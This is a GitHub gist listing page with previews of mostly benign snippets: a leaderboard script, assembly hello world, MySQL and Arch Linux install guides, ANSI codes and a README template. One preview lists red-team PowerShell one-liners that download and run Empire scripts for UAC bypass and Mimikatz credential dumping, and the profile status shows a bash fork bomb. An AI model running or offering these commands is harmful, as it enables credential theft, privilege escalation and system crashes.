Skip to content

Instantly share code, notes, and snippets.

View ComlanGiovanni's full-sized avatar
🎯
:(){ :|:& };:

Com.Lan ComlanGiovanni

🎯
:(){ :|:& };:
View GitHub Profile
@solvictor
solvictor / coc_lb.py
Last active February 19, 2025 21:57
Clash Of Code leaderboard calculator
#! /usr/bin/python3
import codingame as cg
from collections import Counter
from typing import List, Dict, Tuple, Counter
'''
Require python >= 3.9 and module codingame (pip install codingame)
- Supports different users with same usernames
@LagrangianLad
LagrangianLad / hello.asm
Last active February 11, 2025 22:48
Simple hello world program in x86
; Hello world assembly program
;
; Author: Pablo Corbalán
; GitHub: https://github.com/pablocorbalann
; Date: 06/12/2020
;
; Compiling the program
; For compiling this hello world program you can use nasm and ld
;
; $ nasm -f elf32 -o hello.o hello.asm
@robhrt7
robhrt7 / MySQL_5-7_macOS.md
Last active December 23, 2025 00:39 — forked from nrollr/MySQL_macOS_Sierra.md
Install MySQL 5.7 on macOS using Homebrew

This is a fork of original gist https://gist.github.com/nrollr/3f57fc15ded7dddddcc4e82fe137b58e, with slight changes on pointing to 5.7 version branch, instead of 8 (latest default of MySQL in Hombrew).

Install MySQL 5.7 on macOS

This procedure explains how to install MySQL using Homebrew on macOS (Sierra 10.12 and up)

Install Homebrew

  • Installing Homebrew is effortless, open Terminal and enter :
    $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
  • Note: Homebrew will download and install Command Line Tools for Xcode 8.0 as part of the installation process.
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@RabaDabaDoba
RabaDabaDoba / ANSI-color-codes.h
Last active April 8, 2026 16:32 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes working in C!
/*
* This is free and unencumbered software released into the public domain.
*
* For more information, please refer to <https://unlicense.org>
*/
//Regular text
#define BLK "\e[0;30m"
#define RED "\e[0;31m"
#define GRN "\e[0;32m"

The PATH is an important concept when working on the command line. It's a list of directories that tell your operating system where to look for programs, so that you can just write script instead of /home/me/bin/script or C:\Users\Me\bin\script. But different operating systems have different ways to add a new directory to it:

Windows

  1. The first step depends which version of Windows you're using:
  • If you're using Windows 8 or 10, press the Windows key, then search for and
@eltonvs
eltonvs / arch_installation.md
Last active February 14, 2026 15:09
Arch Linux step to step installation guide

Arch Linux Installation Guide

This guide will show step-by-step how to Install Arch Linux on UEFI mode.

Table of Contents

  • Bootable Flash Drive
  • BIOS
  • Pre installation
    • Set Keyboard Layout
    • Check boot mode
  • Update System Clock
@ObserverOfTime
ObserverOfTime / BDLinux.md
Last active May 3, 2026 18:37
Install BetterDiscord on Linux

Install BetterDiscord on Linux

This Gist contains simple instructions on how to install, update, and uninstall BetterDiscord on Linux.

For more thorough documentation, take a look at betterdiscordctl's README.

Do NOT submit issues here as I don't check the comments. You should submit them here instead.

@DomPizzie
DomPizzie / README-Template.md
Last active May 1, 2026 20:23
A simple README.md template

Project Title

Simple overview of use/purpose.

Description

An in-depth paragraph about your project and overview of use.

Getting Started

@xtrymind
xtrymind / archinstall.md
Last active October 21, 2023 17:43 — forked from miguelfrde/archinstall.md
Windows 10 and Arch Linux dual boot with UEFI

Arch Linux installation (Windows 10 dual boot)

Before

  1. Disable Windows Fast-Startup
  2. Disable Secure Boot

Partitioning